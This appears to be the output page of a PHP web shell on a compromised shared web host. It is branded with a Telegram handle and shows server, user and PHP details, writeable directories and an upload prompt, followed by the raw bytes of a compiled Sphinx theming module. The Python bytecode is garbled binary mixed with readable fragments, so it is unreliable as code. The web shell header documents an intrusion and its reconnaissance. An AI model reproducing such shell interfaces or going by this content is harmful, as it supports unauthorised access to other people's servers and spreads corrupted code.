https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/sphinx/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/sphinx/__pycache__/theming.cpython-310.pyc
o

�$�a�!�@sdZddlZddlZddlZddlZddlmZddlmZmZm	Z	m
Z
ddlmZddl
Z
ddlmZddlmZddlmZdd	lmZdd
lmZerTddlmZe�e�Ze�ZdZd
e de ddfdd�Z!Gdd�d�Z"d
e de#fdd�Z$Gdd�d�Z%dS)z�
    sphinx.theming
    ~~~~~~~~~~~~~~

    Theming support for HTML builders.

    :copyright: Copyright 2007-2021 by the Sphinx team, see AUTHORS.
    :license: BSD, see LICENSE for details.
�N)�path)�
TYPE_CHECKING�Any�Dict�List)�ZipFile)�package_dir)�
ThemeError)�__)�logging)�	ensuredir)�Sphinxz
theme.conf�filename�	targetdir�returnc
Cs�t|�t|��C}|��D]5}|�d�rq
t�||�}tt�|��tt�|�d��}|�|�	|��Wd�n1s=wYq
Wd�dS1sNwYdS)z%Extract zip file to target directory.�/�wbN)
rr�namelist�endswithr�join�dirname�open�write�read)rr�archive�name�entry�fp�r�0/usr/lib/python3/dist-packages/sphinx/theming.py�extract_zip%s

���"�r c	@s�eZdZdZdededdddfdd	�Zdeefd
d�Zefdeded
e	de	fdd�Z
ifdeee	fdeee	ffdd�Zddd�Z
dS)�Themez�A Theme is a set of HTML templates and configurations.

    This class supports both theme directory and theme archive (zipped theme).r�
theme_path�factory�HTMLThemeFactoryrNc
Cs*||_d|_d|_t�|�rd|_||_nt�d�|_t�|j|�|_t	||j�t
��|_|j�
t�|jt��z	|j�dd�}Wn+t
jyX}z	ttd�|�|�d}~wt
jym}z	ttd�|�|�d}~ww|dkr�z	|�|�|_WdSty�}zttd�||f�|�d}~wwdS)N�sxt�theme�inheritz%theme %r doesn't have "theme" settingz'theme %r doesn't have "inherit" setting�nonez(no theme named %r found, inherited by %r)r�base�rootdirr�isdir�themedir�tempfile�mkdtemprr �configparser�RawConfigParser�configr�	THEMECONF�get�NoSectionErrorr	r
�
NoOptionError�create)�selfrr"r#r'�excrrr�__init__8s@

��������zTheme.__init__cCs$|jdur	|jgS|jg|j��S)z�Return a list of theme directories, beginning with this theme's,
        then the base theme's, then that one's base theme's, etc.
        N)r)r,�get_theme_dirs�r7rrrr:Xs
zTheme.get_theme_dirs�section�defaultc
Cs�z|j�||�WStjtjfy@}z(|jr%|j�|||�WYd}~S|tur4tt	d�||f�|�|WYd}~Sd}~ww)zdReturn the value for a theme configuration setting, searching the
        base theme chain.
        Nz:setting %s.%s occurs in none of the searched theme configs)
r1r3r/r5r4r)�
get_config�	NODEFAULTr	r
)r7r<rr=r8rrrr>as����zTheme.get_config�	overridescCs||jr	|j��}ni}z|�|j�d��Wn
tjy Ynw|��D]\}}||vr7t�t	d�|�q%|||<q%|S)z6Return a dictionary of theme options and their values.�optionsz!unsupported theme option %r given)
r)�get_options�updater1�itemsr/r4�logger�warningr
)r7r@rA�option�valuerrrrBqs�
zTheme.get_optionscCsB|jrzt�|j�Wn	tyYnw|jr|j��dSdS)zRemove temporary directories.N)r*�shutil�rmtree�	Exceptionr)�cleanupr;rrrrL�s��z
Theme.cleanup�rN)�__name__�
__module__�__qualname__�__doc__�strr9rr:r?rr>rrBrLrrrrr!3s 	&r!cCsRzt|��}t|��vWd�WS1swYWdSty(YdSw)zBCheck whether the specified file is an archived theme file or not.NF)rr2rrK)r�frrr�is_archived_theme�s

(��rTc@s�eZdZdZddd�Zddd	�Zd
eddfdd�Zd
eddfdd�Zddd�Z	ddd�Z
d
eddfdd�Zdedeeeffdd�Z
d
edefdd�ZdS)r$z A factory class for HTML Themes.�appr
rNcCs<||_|jj|_|��t|jdd�r|�|jj�dSdS)N�html_theme_path)	rU�registry�html_themes�themes�load_builtin_themes�getattrr1�load_additional_themesrV)r7rUrrrr9�s
�zHTMLThemeFactory.__init__cCs2|�t�td��}|��D]	\}}||j|<q
dS)zLoad built-in themes.rYN)�find_themesrrrrDrY)r7rYrr&rrrrZ�s�z$HTMLThemeFactory.load_builtin_themes�theme_pathscCsJ|D] }t�t�|jj|��}|�|�}|��D]	\}}||j|<qqdS)z7Load additional themes placed at specified directories.N)r�abspathrrU�confdirr]rDrY)r7r^r"�abs_theme_pathrYrr&rrrr\�s
��z'HTMLThemeFactory.load_additional_themesrcCs"|dkr
|��dS|�|�dS)z,Try to load a theme with the specified name.�	alabasterN)�load_alabaster_theme�load_external_theme�r7rrrr�load_extra_theme�sz!HTMLThemeFactory.load_extra_themecCs"ddl}t�|��d�|jd<dS)zLoad alabaster theme.rNrb)rbrr�get_pathrY)r7rbrrrrc�sz%HTMLThemeFactory.load_alabaster_themecCs>zddl}|��}t�|d�|jd<WdStyYdSw)z+Load sphinx_rtd_theme theme (if installed).rN�sphinx_rtd_theme)rh�get_html_theme_pathrrrY�ImportError)r7rhr"rrr�load_sphinx_rtd_theme�s�z&HTMLThemeFactory.load_sphinx_rtd_themecCsDt�d|�}zt|�}|jj�|j|j�WdSty!YdSw)zjTry to load a theme using entry_points.

        Sphinx refers to ``sphinx_themes`` entry_points.
        zsphinx.html_themesN)�
pkg_resources�iter_entry_points�nextrUrW�load_extension�module_name�
StopIteration)r7r�entry_points�entry_pointrrrrd�s�z$HTMLThemeFactory.load_external_themer"cCs�i}t�|�s	|St�|�D]9}t�||�}t�|�r:|���d�r:t|�r1|dd�}|||<qt	�
td�|�qt�t�|t��rG|||<q|S)z'Search themes from specified directory.z.zipN���zAfile %r on theme path is not a valid zipfile or contains no theme)
rr+�os�listdirr�isfile�lowerrrTrErFr
r2)r7r"rYr�pathnamerrrrr]�s 


��zHTMLThemeFactory.find_themescCsj||jvr
|�|�||jvr|dkrt�td��|��||jvr+ttd�|��t||j||d�S)zCreate an instance of theme.rhzKsphinx_rtd_theme (< 0.3.0) found. It will not be available since Sphinx-6.0z-no theme named %r found (missing theme.conf?))r#)rYrfrErFr
rkr	r!rerrrr6�s


zHTMLThemeFactory.create)rUr
rNrM)rNrOrPrQr9rZrRr\rfrcrkrdrr]r!r6rrrrr$�s



	r$)&rQr/rurIr-r�typingrrrr�zipfilerrl�sphinxr�
sphinx.errorsr	�
sphinx.localer
�sphinx.utilr�sphinx.util.osutilr�sphinx.applicationr
�	getLoggerrNrE�objectr?r2rRr r!�boolrTr$rrrr�<module>s.

]	

https://t.me/RX1948 - 2025